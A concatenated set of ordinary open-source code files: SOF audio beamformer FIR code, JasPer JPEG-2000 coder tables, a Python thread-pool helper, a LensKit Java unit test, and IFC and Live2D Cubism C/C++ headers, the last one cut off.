intervals = uint_intervals(3,10)(15,15)(15,18)(15,16);
test_one("case_06", intervals, 5);
intervals = uint_intervals(38,41)(3,10)(15,15)(15,18)(15,16)(20,30)(22,30)(23,30);
test_one("case_07", intervals, 8);
}
| 1,682 |
325 | // SPDX-License-Identifier: BSD-3-Clause
//
// Copyright(c) 2020 Intel Corporation. All rights reserved.
//
// Author: <NAME> <<EMAIL>>
#include <sof/common.h>
#include <sof/audio/audio_stream.h>
#include <sof/audio/tdfb/tdfb_comp.h>
#include <user/fir.h>
#include <user/tdfb.h>
#if TDFB_GENERIC
#include <sof/math/fir_generic.h>
#if CONFIG_FORMAT_S16LE
void tdfb_fir_s16(struct tdfb_comp_data *cd,
const struct audio_stream *source,
struct audio_stream *sink, int frames)
{
struct sof_tdfb_config *cfg = cd->config;
struct fir_state_32x16 *filter;
int32_t y0;
int32_t y1;
int16_t *x;
int16_t *y;
int is2;
int is;
int om;
int i;
int j;
int k;
int in_nch = source->channels;
int out_nch = sink->channels;
int idx_in = 0;
int idx_out = 0;
for (j = 0; j < (frames >> 1); j++) {
/* Clear output mix*/
memset(cd->out, 0, 2 * out_nch * sizeof(int32_t));
/* Read two frames from all input channels */
for (i = 0; i < 2 * in_nch; i++) {
x = audio_stream_read_frag_s16(source, idx_in++);
cd->in[i] = *x << 16;
}
/* Run and mix all filters to their output channel */
for (i = 0; i < cfg->num_filters; i++) {
is = cd->input_channel_select[i];
is2 = is + in_nch;
om = cd->output_channel_mix[i];
filter = &cd->fir[i];
/* Process sample and successive sample. This follows
* optimized FIR version implementation that processes
* two samples per call. The output is stored as Q5.27
* to fit max. 16 filters sum to a channel.
*/
y0 = fir_32x16(filter, cd->in[is]) >> 4;
y1 = fir_32x16(filter, cd->in[is2]) >> 4;
for (k = 0; k < out_nch; k++) {
if (om & 1) {
cd->out[k] += y0;
cd->out[k + out_nch] += y1;
}
om = om >> 1;
}
}
/* Write two frames of output */
for (i = 0; i < 2 * out_nch; i++) {
y = audio_stream_write_frag_s16(sink, idx_out++);
*y = sat_int16(Q_SHIFT_RND(cd->out[i], 27, 15));
}
}
}
#endif
#if CONFIG_FORMAT_S24LE
void tdfb_fir_s24(struct tdfb_comp_data *cd,
const struct audio_stream *source,
struct audio_stream *sink, int frames)
{
struct sof_tdfb_config *cfg = cd->config;
struct fir_state_32x16 *filter;
int32_t y0;
int32_t y1;
int32_t *x;
int32_t *y;
int is2;
int is;
int om;
int i;
int j;
int k;
int in_nch = source->channels;
int out_nch = sink->channels;
int idx_in = 0;
int idx_out = 0;
for (j = 0; j < (frames >> 1); j++) {
/* Clear output mix*/
memset(cd->out, 0, 2 * out_nch * sizeof(int32_t));
/* Read two frames from all input channels */
for (i = 0; i < 2 * in_nch; i++) {
x = audio_stream_read_frag_s32(source, idx_in++);
cd->in[i] = *x << 8;
}
/* Run and mix all filters to their output channel */
for (i = 0; i < cfg->num_filters; i++) {
is = cd->input_channel_select[i];
is2 = is + in_nch;
om = cd->output_channel_mix[i];
filter = &cd->fir[i];
/* Process sample and successive sample. This follows
* optimized FIR version implementation that processes
* two samples per call. The output is stored as Q5.27
* to fit max. 16 filters sum to a channel.
*/
y0 = fir_32x16(filter, cd->in[is]) >> 4;
y1 = fir_32x16(filter, cd->in[is2]) >> 4;
for (k = 0; k < out_nch; k++) {
if (om & 1) {
cd->out[k] += y0;
cd->out[k + out_nch] += y1;
}
om = om >> 1;
}
}
/* Write two frames of output */
for (i = 0; i < 2 * out_nch; i++) {
y = audio_stream_write_frag_s32(sink, idx_out++);
*y = sat_int24(Q_SHIFT_RND(cd->out[i], 27, 23));
}
}
}
#endif
#if CONFIG_FORMAT_S32LE
void tdfb_fir_s32(struct tdfb_comp_data *cd,
const struct audio_stream *source,
struct audio_stream *sink, int frames)
{
struct sof_tdfb_config *cfg = cd->config;
struct fir_state_32x16 *filter;
int32_t y0;
int32_t y1;
int32_t *x;
int32_t *y;
int is2;
int is;
int om;
int i;
int j;
int k;
int in_nch = source->channels;
int out_nch = sink->channels;
int idx_in = 0;
int idx_out = 0;
for (j = 0; j < (frames >> 1); j++) {
/* Clear output mix*/
memset(cd->out, 0, 2 * out_nch * sizeof(int32_t));
/* Read two frames from all input channels */
for (i = 0; i < 2 * in_nch; i++) {
x = audio_stream_read_frag_s32(source, idx_in++);
cd->in[i] = *x;
}
/* Run and mix all filters to their output channel */
for (i = 0; i < cfg->num_filters; i++) {
is = cd->input_channel_select[i];
is2 = is + in_nch;
om = cd->output_channel_mix[i];
filter = &cd->fir[i];
/* Process sample and successive sample. This follows
* optimized FIR version implementation that processes
* two samples per call. The output is stored as Q5.27
* to fit max. 16 filters sum to a channel.
*/
y0 = fir_32x16(filter, cd->in[is]) >> 4;
y1 = fir_32x16(filter, cd->in[is2]) >> 4;
for (k = 0; k < out_nch; k++) {
if (om & 1) {
cd->out[k] += y0;
cd->out[k + out_nch] += y1;
}
om = om >> 1;
}
}
/* Write two frames of output. In Q5.27 to Q1.31 conversion
* rounding is not applicable so just shift left by 4.
*/
for (i = 0; i < 2 * out_nch; i++) {
y = audio_stream_write_frag_s32(sink, idx_out++);
*y = sat_int32((int64_t)cd->out[i] << 4);
}
}
}
#endif
#endif /* TDFB_GENERIC */
| 2,414 |
56,632 | <reponame>thisisgopalmandal/opencv<filename>3rdparty/libjasper/jpc_t1cod.c
/*
* Copyright (c) 1999-2000 Image Power, Inc. and the University of
* British Columbia.
* Copyright (c) 2001-2003 <NAME>.
* All rights reserved.
*/
/* __START_OF_JASPER_LICENSE__
*
* JasPer License Version 2.0
*
* Copyright (c) 2001-2006 <NAME>
* Copyright (c) 1999-2000 Image Power, Inc.
* Copyright (c) 1999-2000 The University of British Columbia
*
* All rights reserved.
*
* Permission is hereby granted, free of charge, to any person (the
* "User") obtaining a copy of this software and associated documentation
* files (the "Software"), to deal in the Software without restriction,
* including without limitation the rights to use, copy, modify, merge,
* publish, distribute, and/or sell copies of the Software, and to permit
* persons to whom the Software is furnished to do so, subject to the
* following conditions:
*
* 1. The above copyright notices and this permission notice (which
* includes the disclaimer below) shall be included in all copies or
* substantial portions of the Software.
*
* 2. The name of a copyright holder shall not be used to endorse or
* promote products derived from the Software without specific prior
* written permission.
*
* THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS
* LICENSE. NO USE OF THE SOFTWARE IS AUTHORIZED HEREUNDER EXCEPT UNDER
* THIS DISCLAIMER. THE SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS
* "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING
* BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
* PARTICULAR PURPOSE AND NONINFRINGEMENT OF THIRD PARTY RIGHTS. IN NO
* EVENT SHALL THE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, OR ANY SPECIAL
* INDIRECT OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES WHATSOEVER RESULTING
* FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT,
* NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION
* WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. NO ASSURANCES ARE
* PROVIDED BY THE COPYRIGHT HOLDERS THAT THE SOFTWARE DOES NOT INFRINGE
* THE PATENT OR OTHER INTELLECTUAL PROPERTY RIGHTS OF ANY OTHER ENTITY.
* EACH COPYRIGHT HOLDER DISCLAIMS ANY LIABILITY TO THE USER FOR CLAIMS
* BROUGHT BY ANY OTHER ENTITY BASED ON INFRINGEMENT OF INTELLECTUAL
* PROPERTY RIGHTS OR OTHERWISE. AS A CONDITION TO EXERCISING THE RIGHTS
* GRANTED HEREUNDER, EACH USER HEREBY ASSUMES SOLE RESPONSIBILITY TO SECURE
* ANY OTHER INTELLECTUAL PROPERTY RIGHTS NEEDED, IF ANY. THE SOFTWARE
* IS NOT FAULT-TOLERANT AND IS NOT INTENDED FOR USE IN MISSION-CRITICAL
* SYSTEMS, SUCH AS THOSE USED IN THE OPERATION OF NUCLEAR FACILITIES,
* AIRCRAFT NAVIGATION OR COMMUNICATION SYSTEMS, AIR TRAFFIC CONTROL
* SYSTEMS, DIRECT LIFE SUPPORT MACHINES, OR WEAPONS SYSTEMS, IN WHICH
* THE FAILURE OF THE SOFTWARE OR SYSTEM COULD LEAD DIRECTLY TO DEATH,
* PERSONAL INJURY, OR SEVERE PHYSICAL OR ENVIRONMENTAL DAMAGE ("HIGH
* RISK ACTIVITIES"). THE COPYRIGHT HOLDERS SPECIFICALLY DISCLAIM ANY
* EXPRESS OR IMPLIED WARRANTY OF FITNESS FOR HIGH RISK ACTIVITIES.
*
* __END_OF_JASPER_LICENSE__
*/
/*
* $Id: jpc_t1cod.c,v 1.2 2008-05-26 09:40:52 vp153 Exp $
*/
/******************************************************************************\
* Includes.
\******************************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
#include <math.h>
#include "jasper/jas_types.h"
#include "jasper/jas_math.h"
#include "jpc_bs.h"
#include "jpc_dec.h"
#include "jpc_cs.h"
#include "jpc_mqcod.h"
#include "jpc_t1cod.h"
#include "jpc_tsfb.h"
double jpc_pow2i(int n);
/******************************************************************************\
* Global data.
\******************************************************************************/
int jpc_zcctxnolut[4 * 256];
int jpc_spblut[256];
int jpc_scctxnolut[256];
int jpc_magctxnolut[4096];
jpc_fix_t jpc_signmsedec[1 << JPC_NMSEDEC_BITS];
jpc_fix_t jpc_refnmsedec[1 << JPC_NMSEDEC_BITS];
jpc_fix_t jpc_signmsedec0[1 << JPC_NMSEDEC_BITS];
jpc_fix_t jpc_refnmsedec0[1 << JPC_NMSEDEC_BITS];
jpc_mqctx_t jpc_mqctxs[JPC_NUMCTXS];
/******************************************************************************\
*
\******************************************************************************/
void jpc_initmqctxs(void);
/******************************************************************************\
* Code.
\******************************************************************************/
int JPC_PASSTYPE(int passno)
{
int passtype;
switch (passno % 3) {
case 0:
passtype = JPC_CLNPASS;
break;
case 1:
passtype = JPC_SIGPASS;
break;
case 2:
passtype = JPC_REFPASS;
break;
default:
passtype = -1;
assert(0);
break;
}
return passtype;
}
int JPC_NOMINALGAIN(int qmfbid, int numlvls, int lvlno, int orient)
{
/* Avoid compiler warnings about unused parameters. */
numlvls = 0;
if (qmfbid == JPC_COX_INS) {
return 0;
}
assert(qmfbid == JPC_COX_RFT);
if (lvlno == 0) {
assert(orient == JPC_TSFB_LL);
return 0;
} else {
switch (orient) {
case JPC_TSFB_LH:
case JPC_TSFB_HL:
return 1;
break;
case JPC_TSFB_HH:
return 2;
break;
}
}
abort();
}
/******************************************************************************\
* Coding pass related functions.
\******************************************************************************/
int JPC_SEGTYPE(int passno, int firstpassno, int bypass)
{
int passtype;
if (bypass) {
passtype = JPC_PASSTYPE(passno);
if (passtype == JPC_CLNPASS) {
return JPC_SEG_MQ;
}
return ((passno < firstpassno + 10) ? JPC_SEG_MQ : JPC_SEG_RAW);
} else {
return JPC_SEG_MQ;
}
}
int JPC_SEGPASSCNT(int passno, int firstpassno, int numpasses, int bypass, int termall)
{
int ret;
int passtype;
if (termall) {
ret = 1;
} else if (bypass) {
if (passno < firstpassno + 10) {
ret = 10 - (passno - firstpassno);
} else {
passtype = JPC_PASSTYPE(passno);
switch (passtype) {
case JPC_SIGPASS:
ret = 2;
break;
case JPC_REFPASS:
ret = 1;
break;
case JPC_CLNPASS:
ret = 1;
break;
default:
ret = -1;
assert(0);
break;
}
}
} else {
ret = JPC_PREC * 3 - 2;
}
ret = JAS_MIN(ret, numpasses - passno);
return ret;
}
int JPC_ISTERMINATED(int passno, int firstpassno, int numpasses, int termall,
int lazy)
{
int ret;
int n;
if (passno - firstpassno == numpasses - 1) {
ret = 1;
} else {
n = JPC_SEGPASSCNT(passno, firstpassno, numpasses, lazy, termall);
ret = (n <= 1) ? 1 : 0;
}
return ret;
}
/******************************************************************************\
* Lookup table code.
\******************************************************************************/
void jpc_initluts()
{
int i;
int orient;
int refine;
float u;
float v;
float t;
/* XXX - hack */
jpc_initmqctxs();
for (orient = 0; orient < 4; ++orient) {
for (i = 0; i < 256; ++i) {
jpc_zcctxnolut[(orient << 8) | i] = jpc_getzcctxno(i, orient);
}
}
for (i = 0; i < 256; ++i) {
jpc_spblut[i] = jpc_getspb(i << 4);
}
for (i = 0; i < 256; ++i) {
jpc_scctxnolut[i] = jpc_getscctxno(i << 4);
}
for (refine = 0; refine < 2; ++refine) {
for (i = 0; i < 2048; ++i) {
jpc_magctxnolut[(refine << 11) + i] = jpc_getmagctxno((refine ? JPC_REFINE : 0) | i);
}
}
for (i = 0; i < (1 << JPC_NMSEDEC_BITS); ++i) {
t = i * jpc_pow2i(-JPC_NMSEDEC_FRACBITS);
u = t;
v = t - 1.5;
jpc_signmsedec[i] = jpc_dbltofix(floor((u * u - v * v) * jpc_pow2i(JPC_NMSEDEC_FRACBITS) + 0.5) / jpc_pow2i(JPC_NMSEDEC_FRACBITS));
/* XXX - this calc is not correct */
jpc_signmsedec0[i] = jpc_dbltofix(floor((u * u) * jpc_pow2i(JPC_NMSEDEC_FRACBITS) + 0.5) / jpc_pow2i(JPC_NMSEDEC_FRACBITS));
u = t - 1.0;
if (i & (1 << (JPC_NMSEDEC_BITS - 1))) {
v = t - 1.5;
} else {
v = t - 0.5;
}
jpc_refnmsedec[i] = jpc_dbltofix(floor((u * u - v * v) * jpc_pow2i(JPC_NMSEDEC_FRACBITS) + 0.5) / jpc_pow2i(JPC_NMSEDEC_FRACBITS));
/* XXX - this calc is not correct */
jpc_refnmsedec0[i] = jpc_dbltofix(floor((u * u) * jpc_pow2i(JPC_NMSEDEC_FRACBITS) + 0.5) / jpc_pow2i(JPC_NMSEDEC_FRACBITS));
}
}
jpc_fix_t jpc_getsignmsedec_func(jpc_fix_t x, int bitpos)
{
jpc_fix_t y;
assert(!(x & (~JAS_ONES(bitpos + 1))));
y = jpc_getsignmsedec_macro(x, bitpos);
return y;
}
int jpc_getzcctxno(int f, int orient)
{
int h;
int v;
int d;
int n;
int t;
int hv;
/* Avoid compiler warning. */
n = 0;
h = ((f & JPC_WSIG) != 0) + ((f & JPC_ESIG) != 0);
v = ((f & JPC_NSIG) != 0) + ((f & JPC_SSIG) != 0);
d = ((f & JPC_NWSIG) != 0) + ((f & JPC_NESIG) != 0) + ((f & JPC_SESIG) != 0) + ((f & JPC_SWSIG) != 0);
switch (orient) {
case JPC_TSFB_HL:
t = h;
h = v;
v = t;
case JPC_TSFB_LL:
case JPC_TSFB_LH:
if (!h) {
if (!v) {
if (!d) {
n = 0;
} else if (d == 1) {
n = 1;
} else {
n = 2;
}
} else if (v == 1) {
n = 3;
} else {
n = 4;
}
} else if (h == 1) {
if (!v) {
if (!d) {
n = 5;
} else {
n = 6;
}
} else {
n = 7;
}
} else {
n = 8;
}
break;
case JPC_TSFB_HH:
hv = h + v;
if (!d) {
if (!hv) {
n = 0;
} else if (hv == 1) {
n = 1;
} else {
n = 2;
}
} else if (d == 1) {
if (!hv) {
n = 3;
} else if (hv == 1) {
n = 4;
} else {
n = 5;
}
} else if (d == 2) {
if (!hv) {
n = 6;
} else {
n = 7;
}
} else {
n = 8;
}
break;
}
assert(n < JPC_NUMZCCTXS);
return JPC_ZCCTXNO + n;
}
int jpc_getspb(int f)
{
int hc;
int vc;
int n;
hc = JAS_MIN(((f & (JPC_ESIG | JPC_ESGN)) == JPC_ESIG) + ((f & (JPC_WSIG | JPC_WSGN)) == JPC_WSIG), 1) -
JAS_MIN(((f & (JPC_ESIG | JPC_ESGN)) == (JPC_ESIG | JPC_ESGN)) + ((f & (JPC_WSIG | JPC_WSGN)) == (JPC_WSIG | JPC_WSGN)), 1);
vc = JAS_MIN(((f & (JPC_NSIG | JPC_NSGN)) == JPC_NSIG) + ((f & (JPC_SSIG | JPC_SSGN)) == JPC_SSIG), 1) -
JAS_MIN(((f & (JPC_NSIG | JPC_NSGN)) == (JPC_NSIG | JPC_NSGN)) + ((f & (JPC_SSIG | JPC_SSGN)) == (JPC_SSIG | JPC_SSGN)), 1);
if (!hc && !vc) {
n = 0;
} else {
n = (!(hc > 0 || (!hc && vc > 0)));
}
return n;
}
int jpc_getscctxno(int f)
{
int hc;
int vc;
int n;
/* Avoid compiler warning. */
n = 0;
hc = JAS_MIN(((f & (JPC_ESIG | JPC_ESGN)) == JPC_ESIG) + ((f & (JPC_WSIG | JPC_WSGN)) == JPC_WSIG),
1) - JAS_MIN(((f & (JPC_ESIG | JPC_ESGN)) == (JPC_ESIG | JPC_ESGN)) +
((f & (JPC_WSIG | JPC_WSGN)) == (JPC_WSIG | JPC_WSGN)), 1);
vc = JAS_MIN(((f & (JPC_NSIG | JPC_NSGN)) == JPC_NSIG) + ((f & (JPC_SSIG | JPC_SSGN)) == JPC_SSIG),
1) - JAS_MIN(((f & (JPC_NSIG | JPC_NSGN)) == (JPC_NSIG | JPC_NSGN)) +
((f & (JPC_SSIG | JPC_SSGN)) == (JPC_SSIG | JPC_SSGN)), 1);
assert(hc >= -1 && hc <= 1 && vc >= -1 && vc <= 1);
if (hc < 0) {
hc = -hc;
vc = -vc;
}
if (!hc) {
if (vc == -1) {
n = 1;
} else if (!vc) {
n = 0;
} else {
n = 1;
}
} else if (hc == 1) {
if (vc == -1) {
n = 2;
} else if (!vc) {
n = 3;
} else {
n = 4;
}
}
assert(n < JPC_NUMSCCTXS);
return JPC_SCCTXNO + n;
}
int jpc_getmagctxno(int f)
{
int n;
if (!(f & JPC_REFINE)) {
n = (f & (JPC_OTHSIGMSK)) ? 1 : 0;
} else {
n = 2;
}
assert(n < JPC_NUMMAGCTXS);
return JPC_MAGCTXNO + n;
}
void jpc_initctxs(jpc_mqctx_t *ctxs)
{
jpc_mqctx_t *ctx;
int i;
ctx = ctxs;
for (i = 0; i < JPC_NUMCTXS; ++i) {
ctx->mps = 0;
switch (i) {
case JPC_UCTXNO:
ctx->ind = 46;
break;
case JPC_ZCCTXNO:
ctx->ind = 4;
break;
case JPC_AGGCTXNO:
ctx->ind = 3;
break;
default:
ctx->ind = 0;
break;
}
++ctx;
}
}
void jpc_initmqctxs()
{
jpc_initctxs(jpc_mqctxs);
}
/* Calculate the real quantity exp2(n), where x is an integer. */
double jpc_pow2i(int n)
{
double x;
double a;
x = 1.0;
if (n < 0) {
a = 0.5;
n = -n;
} else {
a = 2.0;
}
while (--n >= 0) {
x *= a;
}
return x;
}
| 6,891 |
340 | /* Auto-generated by genfincode_stat.sh - DO NOT EDIT! */
#if !defined(_rtpp_stream_fin_h)
#define _rtpp_stream_fin_h
#if !defined(RTPP_AUTOTRAP)
#define RTPP_AUTOTRAP() abort()
#else
extern int _naborts;
#endif
void rtpp_stream_fin(struct rtpp_stream *);
#if defined(RTPP_FINTEST)
void rtpp_stream_fintest(void);
#endif /* RTPP_FINTEST */
#endif /* _rtpp_stream_fin_h */
| 158 |
311 | #!/usr/bin/env python
# encoding: utf-8
'''
@author: LoRexxar
@contact: <EMAIL>
@file: threadingpool.py
@time: 2020/4/7 14:30
@desc:
'''
import time
import threading
import traceback
from LSpider.settings import THREADPOOL_MAX_THREAD_NUM
from utils.log import logger
class ThreadPool:
"""
造一个线程池轮子
"""
def __init__(self):
self.max_thread_num = THREADPOOL_MAX_THREAD_NUM
self.alive_thread_num = 0
self.alive_thread_list = []
def new(self, function, args=()):
"""
新建线程
:return:
"""
# 检查存活线程
self.check_status()
if self.alive_thread_num < self.max_thread_num:
# 先更新锁死
self.alive_thread_num += 1
try:
t = threading.Thread(target=function, args=args)
t.start()
logger.debug("[ThreadPool] New Thread for function {} and args {}".format(str(function), args))
except:
logger.warning("[ThreadPool] Thread {} for function {} adn args {}. error: {}".format(t.name, function, args, traceback.format_exc()))
self.alive_thread_num -= 1
return False
# 更新信息
self.alive_thread_list.append(t)
return True
else:
return False
def check_status(self):
"""
检查当前列表中的所有线程
:return:
"""
if self.alive_thread_num == 0:
return True
for t in self.alive_thread_list:
if not t.is_alive():
self.alive_thread_list.remove(t)
self.alive_thread_num -= 1
return True
def get_free_num(self):
"""
检查存活线程
"""
self.check_status()
return self.max_thread_num - self.alive_thread_num
def wait_all_thread(self):
"""
阻塞等待
"""
for t in self.alive_thread_list:
t.join()
| 1,095 |
809 | <reponame>orangeyts/lenskit
/*
* LensKit, an open-source toolkit for recommender systems.
* Copyright 2014-2017 LensKit contributors (see CONTRIBUTORS.md)
* Copyright 2010-2014 Regents of the University of Minnesota
*
* Permission is hereby granted, free of charge, to any person obtaining
* a copy of this software and associated documentation files (the
* "Software"), to deal in the Software without restriction, including
* without limitation the rights to use, copy, modify, merge, publish,
* distribute, sublicense, and/or sell copies of the Software, and to
* permit persons to whom the Software is furnished to do so, subject to
* the following conditions:
*
* The above copyright notice and this permission notice shall be
* included in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
package org.lenskit.util.collections;
import it.unimi.dsi.fastutil.longs.LongList;
import org.apache.commons.lang3.SerializationUtils;
import org.junit.Test;
import org.lenskit.util.collections.CompactableLongArrayList;
import static org.hamcrest.Matchers.contains;
import static org.hamcrest.Matchers.equalTo;
import static org.hamcrest.Matchers.hasSize;
import static org.junit.Assert.assertThat;
/**
* @author <a href="http://www.grouplens.org">GroupLens Research</a>
*/
public class CompactableLongArrayListTest {
@Test
public void testEmptyList() {
LongList list = new CompactableLongArrayList();
assertThat(list.size(), equalTo(0));
assertThat(list.isEmpty(), equalTo(true));
}
@Test
public void testSingleton() {
LongList list = new CompactableLongArrayList();
list.add(42L);
assertThat(list.size(), equalTo(1));
assertThat(list.isEmpty(), equalTo(false));
assertThat(list, contains(42L));
}
@Test
public void testSingletonLong() {
LongList list = new CompactableLongArrayList();
long val = Integer.MAX_VALUE + 42L;
list.add(val);
assertThat(list.size(), equalTo(1));
assertThat(list.isEmpty(), equalTo(false));
assertThat(list, contains(val));
}
@Test
public void testSingletonNegativeLong() {
LongList list = new CompactableLongArrayList();
long val = Integer.MIN_VALUE - 42L;
list.add(val);
assertThat(list.size(), equalTo(1));
assertThat(list.isEmpty(), equalTo(false));
assertThat(list, contains(val));
}
@Test
public void testAddTwo() {
LongList list = new CompactableLongArrayList();
long val = Integer.MAX_VALUE + 42L;
list.add(42);
list.add(val);
assertThat(list.size(), equalTo(2));
assertThat(list, contains(42L, val));
}
@Test
public void testAddAndPrepend() {
LongList list = new CompactableLongArrayList();
long val = 67L;
list.add(42);
list.add(0, val);
assertThat(list.size(), equalTo(2));
assertThat(list, contains(val, 42L));
}
@Test
public void testAddAndPrependUpgrade() {
LongList list = new CompactableLongArrayList();
long val = Integer.MAX_VALUE + 42L;
list.add(42);
list.add(0, val);
assertThat(list.size(), equalTo(2));
assertThat(list, contains(val, 42L));
assertThat(list.get(0), equalTo(val));
assertThat(list.get(1), equalTo(42L));
}
@Test
public void testSetReplace() {
LongList list = new CompactableLongArrayList();
long val = 67L;
list.add(42);
list.add(37);
list.add(4);
assertThat(list.set(1, val), equalTo(37L));
assertThat(list.size(), equalTo(3));
assertThat(list, contains(42L, val, 4L));
}
@Test
public void testSetUpgrade() {
LongList list = new CompactableLongArrayList();
long val = Integer.MAX_VALUE + 42L;
list.add(42);
list.add(37);
list.add(4);
assertThat(list.set(1, val), equalTo(37L));
assertThat(list.size(), equalTo(3));
assertThat(list, contains(42L, val, 4L));
}
@Test
public void testSerializeCompact() {
CompactableLongArrayList list = new CompactableLongArrayList();
list.add(42);
list.add(37);
list.add(4);
LongList copy = SerializationUtils.clone(list);
assertThat(copy, contains(42L, 37L, 4L));
}
@Test
public void testSerializeFull() {
CompactableLongArrayList list = new CompactableLongArrayList();
list.add(42);
list.add(37);
list.add(Integer.MAX_VALUE + 7L);
LongList copy = SerializationUtils.clone(list);
assertThat(copy, contains(42L, 37L, Integer.MAX_VALUE + 7L));
}
@Test
public void testTrimCompact() {
CompactableLongArrayList list = new CompactableLongArrayList();
list.add(42);
list.add(Integer.MAX_VALUE + 37L);
list.add(7L);
list.set(1, 37L);
list.trim();
assertThat(list, hasSize(3));
assertThat(list, contains(42L, 37L, 7L));
}
}
| 2,204 |
426 | <reponame>AlexVlk/ifcplusplus
/* Code generated by IfcQuery EXPRESS generator, www.ifcquery.com */
#pragma once
#include <vector>
#include <map>
#include <sstream>
#include <string>
#include "ifcpp/model/GlobalDefines.h"
#include "ifcpp/model/BasicTypes.h"
#include "ifcpp/model/BuildingObject.h"
// TYPE IfcElementAssemblyTypeEnum = ENUMERATION OF (ACCESSORY_ASSEMBLY ,ARCH ,BEAM_GRID ,BRACED_FRAME ,GIRDER ,REINFORCEMENT_UNIT ,RIGID_FRAME ,SLAB_FIELD ,TRUSS ,USERDEFINED ,NOTDEFINED);
class IFCQUERY_EXPORT IfcElementAssemblyTypeEnum : virtual public BuildingObject
{
public:
enum IfcElementAssemblyTypeEnumEnum
{
ENUM_ACCESSORY_ASSEMBLY,
ENUM_ARCH,
ENUM_BEAM_GRID,
ENUM_BRACED_FRAME,
ENUM_GIRDER,
ENUM_REINFORCEMENT_UNIT,
ENUM_RIGID_FRAME,
ENUM_SLAB_FIELD,
ENUM_TRUSS,
ENUM_USERDEFINED,
ENUM_NOTDEFINED
};
IfcElementAssemblyTypeEnum() = default;
IfcElementAssemblyTypeEnum( IfcElementAssemblyTypeEnumEnum e ) { m_enum = e; }
virtual const char* className() const { return "IfcElementAssemblyTypeEnum"; }
virtual shared_ptr<BuildingObject> getDeepCopy( BuildingCopyOptions& options );
virtual void getStepParameter( std::stringstream& stream, bool is_select_type = false ) const;
virtual const std::wstring toString() const;
static shared_ptr<IfcElementAssemblyTypeEnum> createObjectFromSTEP( const std::wstring& arg, const std::map<int,shared_ptr<BuildingEntity> >& map );
IfcElementAssemblyTypeEnumEnum m_enum;
};
| 600 |
675 | <reponame>johndpope/echo
/*
* Copyright(c) Live2D Inc. All rights reserved.
*
* Use of this source code is governed by the Live2D Proprietary Software license
* that can be found at http://live2d.com/eula/live2d-proprietary-software-license-agreement_en.html.
*/
#ifndef LIVE2D_CUBISM_CORE_H
#define LIVE2D_CUBISM_CORE_H
#if defined (__cplusplus)
extern "C"
{
#endif
/* ------- *
* DEFINES *
* ------- */
/** Core API attribute. */
#if !defined (csmApi)
#define csmApi
#endif
/* ----- *
* TYPES *
* ----- */
/** Cubism moc. */
typedef struct csmMoc csmMoc;
/** Cubism model. */
typedef struct csmModel csmModel;
/** Cubism version identifier. */
typedef unsigned int csmVersion;
/** Alignment constraints. */
enum
{
/** Necessary alignment for mocs (in bytes). */
csmAlignofMoc = 64,
/** Necessary alignment for models (in bytes). */
csmAlignofModel = 16
};
/** Bit masks for non-dynamic drawable flags. */
enum
{
/** Additive blend mode mask. */
csmBlendAdditive = 1 << 0,
/** Multiplicative blend mode mask. */
csmBlendMultiplicative = 1 << 1,
/** Double-sidedness mask. */
csmIsDoubleSided = 1 << 2
};
/** Bit masks for dynamic drawable flags. */
enum
{
/** Flag set when visible. */
csmIsVisible = 1 << 0,
/** Flag set when visibility did change. */
csmVisibilityDidChange = 1 << 1,
/** Flag set when opacity did change. */
csmOpacityDidChange = 1 << 2,
/** Flag set when draw order did change. */
csmDrawOrderDidChange = 1 << 3,
/** Flag set when render order did change. */
csmRenderOrderDidChange = 1 << 4,
/** Flag set when vertex positions did change. */
csmVertexPositionsDidChange = 1 << 5
};
/** Bitfield. */
typedef unsigned char csmFlags;
/** 2 component vector. */
typedef struct
{
/** First component. */
float X;
/** Second component. */
float Y;
}
csmVector2;
/** Log handler.
*
* @param message Null-terminated string message to log.
*/
typedef void (*csmLogFunction)(const char* message);
/* ------- *
* VERSION *
* ------- */
/**
* Queries Core version.
*
* @return Core version.
*/
csmApi csmVersion csmGetVersion();
/* ------- *
* LOGGING *
* ------- */
/**
* Queries log handler.
*
* @return Log handler.
*/
csmApi csmLogFunction csmGetLogFunction();
/**
* Sets log handler.
*
* @param handler Handler to use.
*/
csmApi void csmSetLogFunction(csmLogFunction handler);
/* --- *
* MOC *
* --- */
/**
* Tries to revive a moc from bytes in place.
*
* @param address Address of unrevived moc. The address must be aligned to 'csmAlignofMoc'.
* @param size Size of moc (in bytes).
*
* @return Valid pointer on success; '0' otherwise.
*/
csmApi csmMoc* csmReviveMocInPlace(void* address, const unsigned int size);
/* ----- *
* MODEL *
* ----- */
/**
* Queries size of a model in bytes.
*
* @param moc Moc to query.
*
* @return Valid size on success; '0' otherwise.
*/
csmApi unsigned int csmGetSizeofModel(const csmMoc* moc);
/**
* Tries to instantiate a model in place.
*
* @param moc Source moc.
* @param address Address to place instance at. Address must be aligned to 'csmAlignofModel'.
* @param size Size of memory block for instance (in bytes).
*
* @return Valid pointer on success; '0' otherwise.
*/
csmApi csmModel* csmInitializeModelInPlace(const csmMoc* moc,
void* address,
const unsigned int size);
/**
* Updates a model.
*
* @param model Model to update.
*/
csmApi void csmUpdateModel(csmModel* model);
/* ------ *
* CANVAS *
* ------ */
/**
* Reads info on a model canvas.
*
* @param model Model query.
*
* @param outSizeInPixels Canvas dimensions.
